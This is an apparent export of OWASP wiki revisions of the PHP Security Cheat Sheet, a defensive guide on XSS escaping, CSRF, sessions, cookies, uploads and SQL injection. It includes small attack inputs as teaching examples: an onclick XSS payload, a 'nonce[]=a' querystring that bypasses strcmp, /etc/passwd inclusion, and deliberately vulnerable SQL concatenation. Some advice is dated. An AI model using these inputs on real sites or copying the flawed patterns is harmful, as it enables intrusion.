&lt;br /&gt;
If you cannot switch to a secure template engine, you can use the function below on all untrusted data.&lt;br /&gt;
&lt;br /&gt;
'''Keep in mind that this scenario won't mitigate XSS when you use user input in dangerous elements (style, script, image's src, a, etc.)''', but mostly you don't. Also keep in mind that every output that is not intended to contain HTML tags should be sent to the browser filtered with the following function.&lt;br /&gt;
&lt;br /&gt;
 //xss mitigation functions&lt;br /&gt;
 function xssafe($data,$encoding='UTF-8')&lt;br /&gt;
 {&lt;br /&gt;
    return htmlspecialchars($data,ENT_QUOTES | ENT_HTML401,$encoding);&lt;br /&gt;
 }&lt;br /&gt;
 function xecho($data)&lt;br /&gt;
 {&lt;br /&gt;
    echo xssafe($data);&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
 //usage example&lt;br /&gt;
 &amp;lt;input type='text' name='test' value='&amp;lt;?php &lt;br /&gt;
 xecho (&amp;quot;' onclick='alert(1)&amp;quot;);&lt;br /&gt;
 ?&amp;gt;' /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Untrusted Tags==&lt;br /&gt;
When you need to allow users to supply HTML tags that are used in your output, such as rich blog comments, forum posts, blog posts and etc., but cannot trust the user, you have to use a '''Secure Encoding''' library. This is usually hard and slow, and that's why most applications have XSS vulnerabilities in them. OWASP ESAPI has a bunch of codecs for encoding different sections of data. There's also OWASP AntiSammy and HTMLPurifier for PHP. Each of these require lots of configuration and learning to perform well, but you need them when you want that good of an application.&lt;br /&gt;
&lt;br /&gt;
==Templating engines==&lt;br /&gt;
&lt;br /&gt;
There are several templating engines that can help the programmer (and designer) to output data and protect from most XSS vulnerabilities. While their primary goal isn't security, but improving the designing experience, most important templating engines automatically escape the variables on output and force the developer to explicitly indicate if there is a variable that shouldn't be escaped. This makes output of variables have a white-list behavior. There exist several of these engines. A good example is twig[http://twig.sensiolabs.org/]. Other popular template engines are Smarty, Haanga and Rain TPL.&lt;br /&gt;
&lt;br /&gt;
Templating engines that follow a white-list approach to escaping are essential for properly dealing with XSS, because if you are manually applying escaping, it is too easy to forget, and developers should always use systems that are secure by default if they take security seriously.&lt;br /&gt;
&lt;br /&gt;
==Other Tips==&lt;br /&gt;
&lt;br /&gt;
* Don't have a '''trusted section''' in any web application. Many developers tend to leave admin areas out of XSS mitigation, but most intruders are interested in admin cookies and XSS. Every output should be cleared by the functions provided above, if it has a variable in it. Remove every instance of echo, print, and printf from your application and replace them with a secure template engine.&lt;br /&gt;
&lt;br /&gt;
* HTTP-Only cookies are a very good practice, for a near future when every browser is compatible. Start using them now. (See PHP.ini configuration for best practice)&lt;br /&gt;
&lt;br /&gt;
* The function declared above, only works for valid HTML syntax. If you put your Element Attributes without quotation, you're doomed. Go for valid HTML.&lt;br /&gt;
&lt;br /&gt;
* [[Reflected XSS]] is as dangerous as normal XSS, and usually comes at the most dusty corners of an application. Seek it and mitigate it.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=CSRF Cheat Sheet=&lt;br /&gt;
CSRF mitigation is easy in theory, but hard to implement correctly. First, a few tips about CSRF:&lt;br /&gt;
&lt;br /&gt;
* Every request that does something noteworthy, should be CSRF mitigated. Noteworthy things are changes to the system, and reads that take a long time.&lt;br /&gt;
* CSRF mostly happens on GET, but is easy to happen on POST. Don't ever think that post is secure.&lt;br /&gt;
&lt;br /&gt;
The [[PHP_CSRF_Guard|OWASP PHP CSRFGuard]] is a code snippet that shows how to mitigate CSRF. Only copy pasting it is not enough. In the near future, a copy-pasteable version  would be available (hopefully). For now, mix that with the following tips:&lt;br /&gt;
&lt;br /&gt;
* Use re-authentication for critical operations (change password, recovery email, etc.)&lt;br /&gt;
* If you're not sure whether your operation is CSRF proof, consider adding CAPTCHAs (however CAPTCHAs are inconvenience for users)&lt;br /&gt;
* If you're performing operations based on other parts of a request (neither GET nor POST) e.g Cookies or HTTP Headers, you might need to add CSRF tokens there as well.&lt;br /&gt;
* AJAX powered forms need to re-create their CSRF tokens. Use the function provided above (in code snippet) for that and never rely on Javascript.&lt;br /&gt;
* CSRF on GET or Cookies will lead to inconvenience, consider your design and architecture for best practices.&lt;br /&gt;
&lt;br /&gt;
=Authentication and Session Management Cheat Sheet=&lt;br /&gt;
PHP doesn't ship with a readily available authentication module, you need to implement your own or use a PHP framework, unfortunately most PHP frameworks are far from perfect in this manner, due to the fact that they are developed by open source developer community rather than security experts. A few instructive and useful tips are listed below:&lt;br /&gt;
 &lt;br /&gt;
==Session Management==&lt;br /&gt;
PHP's default session facilities are considered safe, the generated PHPSessionID is random enough, but the storage is not necessarily safe:&lt;br /&gt;
&lt;br /&gt;
* Session files are stored in temp (/tmp) folder and are world writable unless suPHP installed, so any LFI or other leak might end-up manipulating them.&lt;br /&gt;
* Sessions are stored in files in default configuration, which is terribly slow for highly visited websites. You can store them on a memory folder (if UNIX).&lt;br /&gt;
* You can implement your own session mechanism, without ever relying on PHP for it. If you did that, store session data in a database. You could use all, some or none of the PHP functionality for session handling if you go with that.&lt;br /&gt;
&lt;br /&gt;
===Session Hijacking Prevention===&lt;br /&gt;
It is good practice to bind sessions to IP addresses, that would prevent most session hijacking scenarios (but not all), however some users might use anonymity tools (such as TOR) and they would have problems with your service.&lt;br /&gt;
&lt;br /&gt;
To implement this, simply store the client IP in the session first time it is created, and enforce it to be the same afterwards. The code snippet below returns client IP address:&lt;br /&gt;
&lt;br /&gt;
 $IP = getenv ( &amp;quot;REMOTE_ADDR&amp;quot; );&lt;br /&gt;
&lt;br /&gt;
Keep in mind that in local environments, a valid IP is not returned, and usually the string ''':::1''' or ''':::127''' might pop up, thus adapt your IP checking logic.  Also beware of versions of this code which make use of the HTTP_X_FORWARDED_FOR variable as this data is effectively user input and therefore susceptible to spoofing (more information [http://www.thespanner.co.uk/2007/12/02/faking-the-unexpected/ here] and [http://security.stackexchange.com/a/34327/37 here] )&lt;br /&gt;
&lt;br /&gt;
===Invalidate Session ID===&lt;br /&gt;
You should invalidate (unset cookie, unset session storage, remove traces) of a session whenever a violation occurs (e.g 2 IP addresses are observed). A log event would prove useful. Many applications also notify the logged in user (e.g GMail).&lt;br /&gt;
&lt;br /&gt;
===Rolling of Session ID===&lt;br /&gt;
You should roll session ID whenever elevation occurs, e.g when a user logs in, the session ID of the session should be changed, since it's importance is changed.&lt;br /&gt;
&lt;br /&gt;
===Exposed Session ID===&lt;br /&gt;
Session IDs are considered confidential, your application should not expose them anywhere (specially when bound to a logged in user). Try not to use URLs as session ID medium.&lt;br /&gt;
&lt;br /&gt;
Transfer session ID over TLS whenever session holds confidential information, otherwise a passive attacker would be able to perform session hijacking.&lt;br /&gt;
&lt;br /&gt;
===Session Fixation===&lt;br /&gt;
Invalidate the Session id after user login (or even after each request) with [http://www.php.net/session_regenerate_id session_regenerate_id()].&lt;br /&gt;
&lt;br /&gt;
===Session Expiration===&lt;br /&gt;
A session should expire after a certain amount of inactivity, and after a certain time of activity as well. The expiration process means invalidating and removing a session, and creating a new one when another request is met.&lt;br /&gt;
&lt;br /&gt;
Also keep the '''log out''' button close, and unset all traces of the session on log out.&lt;br /&gt;
&lt;br /&gt;
====Inactivity Timeout====&lt;br /&gt;
Expire a session if current request is X seconds later than the last request. For this you should update session data with time of the request each time a request is made. The common practice time is 30 minutes, but highly depends on application criteria. &lt;br /&gt;
&lt;br /&gt;
This expiration helps when a user is logged in on a publicly accessible machine, but forgets to log out. It also helps with session hijacking.&lt;br /&gt;
&lt;br /&gt;
====General Timeout====&lt;br /&gt;
Expire a session if current session has been active for a certain amount of time, even if active. This helps keeping track of things. The amount differs but something between a day and a week is usually good. To implement this you need to store start time of a session.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===Cookies===&lt;br /&gt;
Handling cookies in a PHP script has some tricks to it:&lt;br /&gt;
&lt;br /&gt;
====Never Serialize====&lt;br /&gt;
Never serialize data stored in a cookie. It can easily be manipulated, resulting in adding variables to your scope.&lt;br /&gt;
&lt;br /&gt;
====Proper Deletion====&lt;br /&gt;
To delete a cookie safely, use the following snippet:&lt;br /&gt;
&lt;br /&gt;
 setcookie ($name, &amp;quot;&amp;quot;, 1);&lt;br /&gt;
 setcookie ($name, false);&lt;br /&gt;
 unset($_COOKIE[$name]);&lt;br /&gt;
The first line ensures that cookie expires in browser, the second line is the standard way of removing a cookie (thus you can't store false in a cookie). The third line removes the cookie from your script. Many guides tell developers to use time() - 3600 for expiry, but it might not work if browser time is not correct.&lt;br /&gt;
&lt;br /&gt;
You can also use '''session_name()''' to retrieve the name default PHP session cookie.&lt;br /&gt;
&lt;br /&gt;
====HTTP Only====&lt;br /&gt;
Most modern browsers support HTTP-only cookies. These cookies are only accessible via HTTP(s) requests and not JavaScript, so XSS snippets can not access them. They are very good practice, but are not satisfactory since there are many flaws discovered in major browsers that lead to exposure of HTTP only cookies to JavaScript.&lt;br /&gt;
&lt;br /&gt;
To use HTTP-only cookies in PHP (5.2+), you should perform session cookie setting [http://php.net/manual/en/function.setcookie.php manually] (not using '''session_start'''):&lt;br /&gt;
 &lt;br /&gt;
 #prototype&lt;br /&gt;
 bool setcookie ( string $name [, string $value [, int $expire = 0 [, string $path [, string $domain [, bool $secure = false [, bool $httponly = false ]]]]]] )&lt;br /&gt;
&lt;br /&gt;
 #usage&lt;br /&gt;
 if (!setcookie(&amp;quot;MySessionID&amp;quot;, $secureRandomSessionID, $generalTimeout, $applicationRootURLwithoutHost, NULL, NULL,true))&lt;br /&gt;
     echo (&amp;quot;could not set HTTP-only cookie&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
The '''path''' parameter sets the path which cookie is valid for, e.g if you have your website at example.com/some/folder the path should be /some/folder or other applications residing at example.com could also see your cookie. If you're on a whole domain, don't mind it. '''Domain''' parameter enforces the domain, if you're accessible on multiple domains or IPs ignore this, otherwise set it accordingly. If '''secure''' parameter is set, cookie can only be transmitted over HTTPS. See the example below:&lt;br /&gt;
&lt;br /&gt;
 $r=setcookie(&amp;quot;SECSESSID&amp;quot;,&amp;quot;1203j01j0s1209jw0s21jxd01h029y779g724jahsa9opk123973&amp;quot;,time()+60*60*24*7 /*a week*/,&amp;quot;/&amp;quot;,&amp;quot;owasp.org&amp;quot;,true,true);&lt;br /&gt;
 if (!$r) die(&amp;quot;Could not set session cookie.&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
====Internet Explorer issues====&lt;br /&gt;
Many version of Internet Explorer tend to have problems with cookies. Mostly setting Expire time to 0 fixes their issues.&lt;br /&gt;
&lt;br /&gt;
==Authentication==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===Remember Me===&lt;br /&gt;
Many websites are vulnerable on remember me features. The correct practice is to generate a one-time token for a user and store it in the cookie. The token should also reside in data store of the application to be validated and assigned to user. This token should have '''no relevance''' to username and/or password of the user, a secure long-enough random number is a good practice.&lt;br /&gt;
&lt;br /&gt;
It is better if you imply locking and prevent brute-force on remember me tokens, and make them long enough, otherwise an attacker could brute-force remember me tokens until he gets access to a logged in user without credentials.&lt;br /&gt;
&lt;br /&gt;
* '''Never store username/password or any relevant information in the cookie.'''&lt;br /&gt;
&lt;br /&gt;
=Access Control Cheat Sheet=&lt;br /&gt;
This section aims to mitigate access control issues, as well as '''Insecure Direct Object Reference''' issues. &lt;br /&gt;
&lt;br /&gt;
=Cryptography Cheat Sheet=&lt;br /&gt;
&lt;br /&gt;
=File Inclusion Cheat Sheet=&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=Configuration and Deployment Cheat Sheet=&lt;br /&gt;
Please see [[PHP Configuration Cheat Sheet]].&lt;br /&gt;
&lt;br /&gt;
=Sources of Taint=&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
= OLD. PHP General Guidelines for Secure Web Applications  =&lt;br /&gt;
&lt;br /&gt;
== PHP Version ==&lt;br /&gt;
Use '''PHP 5.3.8'''. Stable versions are always safer then the beta ones. &lt;br /&gt;
&lt;br /&gt;
== Framework==&lt;br /&gt;
Use a framework like '''Zend''' or '''Symfony'''. Try not to re-write the code again and again. Also avoid dead codes. &lt;br /&gt;
&lt;br /&gt;
== Directory==&lt;br /&gt;
Code with most of your code outside of the webroot. This is automatic for Symfony and Zend. Stick to these frameworks. &lt;br /&gt;
&lt;br /&gt;
== Hashing Extension ==&lt;br /&gt;
Not every PHP installation has a working '''mhash''' extension, so if you need to do hashing, check it before using it. Otherwise you can't do SHA-256&lt;br /&gt;
&lt;br /&gt;
== Cryptographic Extension ==&lt;br /&gt;
Not every PHP installation has a working '''mcrypt''' extension, and without it you can't do AES. Do check if you need it.&lt;br /&gt;
&lt;br /&gt;
== Authentication and Authorization ==&lt;br /&gt;
There is no authentication or authorization classes in native PHP. Use '''ZF''' or '''Symfony''' instead.&lt;br /&gt;
&lt;br /&gt;
== Input nput validation ==&lt;br /&gt;
Use $_dirty['foo'] = $_GET['foo'] and then $foo = validate_foo($dirty['foo']); &lt;br /&gt;
&lt;br /&gt;
== Use PDO or ORM ==&lt;br /&gt;
Use PDO with prepared statements or an ORM like Doctrine&lt;br /&gt;
&lt;br /&gt;
== Use PHP Unit and Jenkins ==&lt;br /&gt;
When developing PHP code, make sure you develop with PHP Unit and Jenkins - see http://qualityassuranceinphpprojects.com/pages/tools.html for more details.&lt;br /&gt;
&lt;br /&gt;
== Use Stefan Esser's Hardened PHP Patch ==&lt;br /&gt;
Consider using Stefan Esser's Hardened PHP patch - http://www.hardened-php.net/suhosin/index.html &lt;br /&gt;
(not maintained now, but the concepts are very powerful)&lt;br /&gt;
&lt;br /&gt;
== Avoid Global Variables==&lt;br /&gt;
In terms of secure coding with PHP, do not use globals unless absolutely necessary &lt;br /&gt;
Check your php.ini to ensure register_globals is off Do not run at all with this setting enabled It's extremely dangerous (register_globals has been disabled since 5.0 / 2006, but .... most PHP 4 code needs it, so many hosters have it turned on)&lt;br /&gt;
&lt;br /&gt;
== Protection against RFI==&lt;br /&gt;
Ensure allow_url_fopen and allow_url_include are both disabled to protect against RFI  But don't cause issues by using the pattern include $user_supplied_data or require &amp;quot;base&amp;quot; + $user_supplied_data - it's just unsafe as you can input /etc/passwd and PHP will try to include it&lt;br /&gt;
&lt;br /&gt;
== Regexes (!)==&lt;br /&gt;
Watch for executable regexes (!) &lt;br /&gt;
&lt;br /&gt;
== Session Rotation ==&lt;br /&gt;
Session rotation is very easy - just after authentication, plonk in session_regenerate_id() and you‘re done.&lt;br /&gt;
&lt;br /&gt;
== Be aware of PHP filters ==&lt;br /&gt;
PHP filters can be tricky and complex. Be extra-conscious when using them. &lt;br /&gt;
&lt;br /&gt;
== Logging ==&lt;br /&gt;
Set display_errors to 0, and set up logging to go to a file you control, or at least syslog. This is the most commonly neglected area of PHP configuration&lt;br /&gt;
&lt;br /&gt;
== Output encoding ==&lt;br /&gt;
Output encoding is entirely up to you. Just do it, ESAPI for PHP is ready for this job.&lt;br /&gt;
&lt;br /&gt;
These are transparent to you and you need to know about them. php://input: takes input from the console gzip: takes compressed input and might bypass input validation http://au2.php.net/manual/en/filters.php &lt;br /&gt;
&lt;br /&gt;
= Authors and Primary Editors  =&lt;br /&gt;
&lt;br /&gt;
[[User:Abbas Naderi|Abbas Naderi Afooshteh]] ([mailto:abbas.naderi@owasp.org abbas.naderi@owasp.org])&lt;br /&gt;
&lt;br /&gt;
[[User:Achim|Achim]] - [mailto:achim_at_owasp.org Achim at owasp.org]&lt;br /&gt;
&lt;br /&gt;
[mailto:vanderaj@owasp.org Andrew van der Stock]&lt;br /&gt;
&lt;br /&gt;
= Other Cheatsheets =&lt;br /&gt;
{{Cheatsheet_Navigation}}&lt;br /&gt;
&lt;br /&gt;
[[Category:Cheatsheets]]&lt;/div&gt;</summary>
		<author><name>Roy Vanegas</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=PHP_Security_Cheat_Sheet&amp;diff=170723</id>
		<title>PHP Security Cheat Sheet</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=PHP_Security_Cheat_Sheet&amp;diff=170723"/>
				<updated>2014-03-25T03:46:14Z</updated>
		
		<summary type="html">&lt;p&gt;Roy Vanegas: Re-wrote the last paragraph under the “PHP overview” section&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= DRAFT CHEAT SHEET - WORK IN PROGRESS =&lt;br /&gt;
= Introduction  =&lt;br /&gt;
This page intends to provide basic PHP security tips for developers and administrators. Keep in mind that tips mentioned in this page may not be sufficient for securing your web application.&lt;br /&gt;
&lt;br /&gt;
==PHP overview==&lt;br /&gt;
&lt;br /&gt;
PHP is the most commonly used server-side programming language, with 81.8% of web servers deploying it, according to W3 Techs.&lt;br /&gt;
&lt;br /&gt;
An open source technology, PHP is unusual in that it is both a language ''and'' a web framework, with typical web framework features built-in to the latter. Like all web languages, there is also a large community of libraries etc. that contribute to the security (or otherwise) of programming in PHP. All three aspects (language, framework, and libraries) need to be taken into consideration when trying to secure a PHP site.&lt;br /&gt;
&lt;br /&gt;
Serious issues abound in all aspects of PHP, making it difficult to write secure PHP applications. If you’re forced to use PHP, then you must be aware of all its pitfalls.&lt;br /&gt;
&lt;br /&gt;
===Language issues===&lt;br /&gt;
&lt;br /&gt;
====Weak typing====&lt;br /&gt;
&lt;br /&gt;
PHP is weakly typed, which means that it will automatically convert data of an incorrect type into the expected type. This feature very often masks errors by the developer or injections of unexpected data, leading to vulnerabilities (see “Input handling” below for an example).&lt;br /&gt;
&lt;br /&gt;
Try to use functions and operators that do not do implicit type conversions (e.g. &amp;lt;code&amp;gt;===&amp;lt;/code&amp;gt; and not &amp;lt;code&amp;gt;==&amp;lt;/code&amp;gt;). Not all operators have strict versions, and many built-in functions (like &amp;lt;code&amp;gt;in_array&amp;lt;/code&amp;gt;) use weakly typed comparison functions, making it difficult to write correct code.&lt;br /&gt;
&lt;br /&gt;
====Exceptions and error handling====&lt;br /&gt;
&lt;br /&gt;
Almost all core PHP code, and many PHP libraries, do not use exceptions, but instead report errors in other ways (such as via notices) that allow the faulty code to carry on running. This has the effect of masking many bugs. In other languages, error conditions that are caused by developer errors will cause the program to stop running, which is the safest thing to do.&lt;br /&gt;
&lt;br /&gt;
It is often best to turn up error reporting as high as possible using the&lt;br /&gt;
[http://www.php.net/manual/en/function.error-reporting.php error_reporting] function, and never attempt to suppress error messages — always follow the warnings and write code that is more robust.&lt;br /&gt;
&lt;br /&gt;
====php.ini====&lt;br /&gt;
&lt;br /&gt;
The behaviour of PHP code often depends strongly on the values of many configuration settings, including fundamental changes to things like how errors are handled. This can make it very difficult to write code that works correctly in all circumstances. Different libraries can have different expectations or requirements about these settings, making it difficult to correctly use 3rd party code. Some are mentioned below under “Configuration.”&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
====Unhelpful builtins====&lt;br /&gt;
&lt;br /&gt;
PHP comes with many built-in functions, such as &amp;lt;code&amp;gt;addslashes&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;mysql_escape_string&amp;lt;/code&amp;gt; and&lt;br /&gt;
&amp;lt;code&amp;gt;mysql_real_escape_string&amp;lt;/code&amp;gt;, that appear to provide security, but are often buggy and, in fact, are unhelpful ways to deal with security problems.&lt;br /&gt;
&lt;br /&gt;
Some of these built-ins are being deprecated and removed, but due to backwards compatibility policies this takes a long time.&lt;br /&gt;
&lt;br /&gt;
===Framework issues===&lt;br /&gt;
&lt;br /&gt;
====URL routing====&lt;br /&gt;
&lt;br /&gt;
PHP’s built-in URL routing mechanism is to use files ending in “.php” in the directory structure. This opens up several vulnerabilities:&lt;br /&gt;
&lt;br /&gt;
* Remote execution vulnerability for every file upload feature that does not sanitise the filename. Ensure that when saving uploaded files, the content and filename are appropriately sanitised.&lt;br /&gt;
&lt;br /&gt;
* Source code, including config files, are stored in publicly accessible directories along with files that are meant to be downloaded (such as static  assets). Misconfiguration (or lack of configuration) can mean that source code or config files that contain secret information can be downloaded by attackers. You can use &amp;lt;code&amp;gt;.htaccess&amp;lt;/code&amp;gt; to limit access. This is not ideal, because it is insecure by default, but there is no other alternative.&lt;br /&gt;
&lt;br /&gt;
====Input handling====&lt;br /&gt;
&lt;br /&gt;
Instead of treating HTTP input as simple strings, PHP will build arrays from HTTP input, at the control of the client. This can lead to confusion about data, and can easily lead to security bugs. For example, consider this simplified code from a &amp;quot;one time nonce&amp;quot; mechanism that might be used, for example in a password reset code:&lt;br /&gt;
&lt;br /&gt;
    $supplied_nonce = $_GET['nonce'];&lt;br /&gt;
    $correct_nonce = get_correct_value_somehow();&lt;br /&gt;
    &lt;br /&gt;
    if (strcmp($supplied_nonce, $correct_nonce) == 0) {&lt;br /&gt;
        // Go ahead and reset the password&lt;br /&gt;
    } else {&lt;br /&gt;
        echo 'Sorry, incorrect link';&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
If an attacker uses a querystring like this:&lt;br /&gt;
&lt;br /&gt;
    http://example.com/?nonce[]=a&lt;br /&gt;
&lt;br /&gt;
then we end up with &amp;lt;code&amp;gt;$supplied_nonce&amp;lt;/code&amp;gt; being an array. The function &amp;lt;code&amp;gt;strcmp()&amp;lt;/code&amp;gt; will then return &amp;lt;code&amp;gt;NULL&amp;lt;/code&amp;gt; (instead of throwing an exception, which would be much more useful), and then, due to weak typing and the use of the &amp;lt;code&amp;gt;==&amp;lt;/code&amp;gt; (equality) operator instead of the &amp;lt;code&amp;gt;===&amp;lt;/code&amp;gt; (identity) operator, the comparison succeeds (since the expression &amp;lt;code&amp;gt;NULL == 0&amp;lt;/code&amp;gt; is true according to PHP), and the attacker will be able to reset the password without providing a correct nonce.&lt;br /&gt;
&lt;br /&gt;
====Template language====&lt;br /&gt;
&lt;br /&gt;
PHP is essentially a template language. However, it doesn't do HTML escaping by&lt;br /&gt;
default, which makes it very problematic for use in a web application - see&lt;br /&gt;
section on XSS below.&lt;br /&gt;
&lt;br /&gt;
====Other inadequacies====&lt;br /&gt;
&lt;br /&gt;
There are other important things that a web framework should supply, such as a&lt;br /&gt;
CSRF protection mechanism that is on by default. Because PHP comes with a&lt;br /&gt;
rudimentary web framework that is functional enough to allow people to create&lt;br /&gt;
web sites, many people will do so without any knowledge that they need CSRF&lt;br /&gt;
protection.&lt;br /&gt;
&lt;br /&gt;
===Third party PHP code===&lt;br /&gt;
&lt;br /&gt;
Libraries and projects written in PHP are often insecure due to the problems&lt;br /&gt;
highlighted above, especially when proper web frameworks are not used. Do not&lt;br /&gt;
trust PHP code that you find on the web, as many security vulnerabilities can&lt;br /&gt;
hide in seemingly innocent code.&lt;br /&gt;
&lt;br /&gt;
Poorly written PHP code often results in warnings being emitted, which can cause&lt;br /&gt;
problems. A common solution is to turn off all notices, which is exactly the opposite&lt;br /&gt;
of what ought to be done (see above), and leads to progressively worse code.&lt;br /&gt;
&lt;br /&gt;
==Update PHP Now==&lt;br /&gt;
'''Important Note: ''' PHP 5.2.x is officially unsupported now. This means that in the near future, when a common security flaw on PHP 5.2.x is discovered, PHP 5.2.x powered website may become vulnerable. ''It is of utmost important that you upgrade your PHP to 5.3.x or 5.4.x right now.''&lt;br /&gt;
&lt;br /&gt;
Also keep in mind that you should regularly upgrade your PHP distribution on an operational server. Every day new flaws are discovered and announced in PHP and attackers use these new flaws on random servers frequently.&lt;br /&gt;
&lt;br /&gt;
=Configuration=&lt;br /&gt;
&lt;br /&gt;
The behaviour of PHP is strongly affected by configuration, which can be done through the &amp;quot;php.ini&amp;quot; file, Apache configuration directives and runtime mechanisms - see http://www.php.net/manual/en/configuration.php&lt;br /&gt;
&lt;br /&gt;
There are many security related configuration options. Some are listed below:&lt;br /&gt;
&lt;br /&gt;
==SetHandler==&lt;br /&gt;
&lt;br /&gt;
PHP code should be configured to run using a 'SetHandler' directive. In many instances, it is wrongly configured using an 'AddHander' directive. This works, but also makes other files executable as PHP code - for example, a file name &amp;quot;foo.php.txt&amp;quot; will be handled as PHP code, which can be a very serious remote execution vulnerability if &amp;quot;foo.php.txt&amp;quot; was not intended to be executed (e.g. example code) or came from a malicious file upload.&lt;br /&gt;
&lt;br /&gt;
=Untrusted data=&lt;br /&gt;
All data that is a product, or subproduct, of user input is to NOT be trusted. They have to either be validated, using the correct methodology, or filtered, before considering them untainted.&lt;br /&gt;
&lt;br /&gt;
Super globals which are not to be trusted are $_SERVER, $_GET, $_POST, $_REQUEST, $_FILES and $_COOKIE. Not all data in $_SERVER can be faked by the user, but a considerable amount in it can, particularly and specially everything that deals with HTTP headers (they start with HTTP_).&lt;br /&gt;
&lt;br /&gt;
==File uploads==&lt;br /&gt;
&lt;br /&gt;
Files received from a user pose various security threats, especially if other users can download these files. In particular:&lt;br /&gt;
&lt;br /&gt;
* Any file served as HTML can be used to do an XSS attack&lt;br /&gt;
* Any file treated as PHP can be used to do an extremely serious attack - a remote execution vulnerability.&lt;br /&gt;
&lt;br /&gt;
Since PHP is designed to make it very easy to execute PHP code (just a file with the right extension), it is particularly important for PHP sites (any site with PHP installed and configured) to ensure that uploaded files are only saved with sanitised file names.&lt;br /&gt;
&lt;br /&gt;
==Common mistakes on the processing of $_FILES array==&lt;br /&gt;
It is common to find code snippets online doing something similar to the following code:&lt;br /&gt;
&lt;br /&gt;
    if ($_FILES['some_name']['type'] == 'image/jpeg') {  &lt;br /&gt;
        //Proceed to accept the file as a valid image&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
However, the type is not determined by using heuristics that validate it, but by simply reading the data sent by the HTTP request, which is created by a client. A better, yet not perfect, way of validating file types is to use finfo class.&lt;br /&gt;
&lt;br /&gt;
    $finfo = new finfo(FILEINFO_MIME_TYPE);&lt;br /&gt;
    $fileContents = file_get_contents($_FILES['some_name']['tmp_name']);&lt;br /&gt;
    $mimeType = $finfo-&amp;gt;buffer($fileContents);&lt;br /&gt;
&lt;br /&gt;
Where $mimeType is a better checked file type. This uses more resources on the server, but can prevent the user from sending a dangerous file and fooling the code into trusting it as an image, which would normally be regarded as a safe file type.&lt;br /&gt;
&lt;br /&gt;
==Use of $_REQUEST==&lt;br /&gt;
Using $_REQUEST is strongly discouraged. This super global is not recommended since it includes not only POST and GET data, but also the cookies sent by the request. This can lead to confusion and makes your code prone to mistakes, which could lead to security problems.&lt;br /&gt;
&lt;br /&gt;
=Database Cheat Sheet=&lt;br /&gt;
Since a single SQL Injection vulnerability permits the hacking of your website, and every hacker first tries SQL injection flaws, fixing SQL injections are the first step to securing your PHP powered application. Abide to the following rules:&lt;br /&gt;
&lt;br /&gt;
==Never concatenate or interpolate data in SQL==&lt;br /&gt;
&lt;br /&gt;
Never build up a string of SQL that includes user data, either by concatenation:&lt;br /&gt;
&lt;br /&gt;
    $sql = &amp;quot;SELECT * FROM users WHERE username = '&amp;quot; . $username . &amp;quot;';&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
or interpolation, which is essentially the same:&lt;br /&gt;
&lt;br /&gt;
    $sql = &amp;quot;SELECT * FROM users WHERE username = '$username';&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
If '$username' has come from an untrusted source (and you must assume it has, since you cannot easily see that in source code), it could contain characters such as ' that will allow an attacker to execute very different queries than the one intended, including deleting your entire database etc.&lt;br /&gt;
&lt;br /&gt;
==Escaping is not safe== &lt;br /&gt;
'''mysql_real_escape_string''' is not safe. Don't rely on it for your SQL injection prevention.&lt;br /&gt;
&lt;br /&gt;
'''Why:'''&lt;br /&gt;
When you use mysql_real_escape_string on every variable and then concat it to your query, ''you are bound to forget that at least once'', and once is all it takes. You can't force yourself in any way to never forget. In addition, you have to ensure that you use quotes in the SQL as well, which is not a natural thing to do if you are assuming the data is numeric, for example. Instead use prepared statements, or equivalent APIs that always do the correct kind of SQL escaping for you. (Most ORMs will do this escaping, as well as creating the SQL for you).&lt;br /&gt;
&lt;br /&gt;
==Use Prepared Statements==&lt;br /&gt;
Prepared statements are very secure. In a prepared statement, data is separated from the SQL command, so that everything user inputs is considered data and put into the table the way it was. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
====MySQLi Prepared Statements Wrapper====&lt;br /&gt;
The following function, performs a SQL query, returns its results as a 2D array (if query was SELECT) and does all that with prepared statements using MySQLi fast MySQL interface:&lt;br /&gt;
&lt;br /&gt;
    $DB = new mysqli($Host, $Username, $Password, $DatabaseName);&lt;br /&gt;
    if (mysqli_connect_errno())&lt;br /&gt;
        trigger_error(&amp;quot;Unable to connect to MySQLi database.&amp;quot;);&lt;br /&gt;
    $DB-&amp;gt;set_charset('UTF-8');&lt;br /&gt;
&lt;br /&gt;
    function SQL($Query) {&lt;br /&gt;
        global $DB;&lt;br /&gt;
        $args = func_get_args();&lt;br /&gt;
        if (count($args) == 1) {&lt;br /&gt;
            $result = $DB-&amp;gt;query($Query);&lt;br /&gt;
            if ($result-&amp;gt;num_rows) {&lt;br /&gt;
                $out = array();&lt;br /&gt;
                while (null != ($r = $result-&amp;gt;fetch_array(MYSQLI_ASSOC)))&lt;br /&gt;
                    $out [] = $r;&lt;br /&gt;
                return $out;&lt;br /&gt;
            }&lt;br /&gt;
            return null;&lt;br /&gt;
        } else {&lt;br /&gt;
            if (!$stmt = $DB-&amp;gt;prepare($Query))&lt;br /&gt;
                trigger_error(&amp;quot;Unable to prepare statement: {$Query}, reason: &amp;quot; . $DB-&amp;gt;error . &amp;quot;&amp;quot;);&lt;br /&gt;
            array_shift($args); //remove $Query from args&lt;br /&gt;
            //the following three lines are the only way to copy an array values in PHP&lt;br /&gt;
            $a = array();&lt;br /&gt;
            foreach ($args as $k =&amp;gt; &amp;amp;$v)&lt;br /&gt;
                $a[$k] = &amp;amp;$v;&lt;br /&gt;
            $types = str_repeat(&amp;quot;s&amp;quot;, count($args)); //all params are strings, works well on MySQL and SQLite&lt;br /&gt;
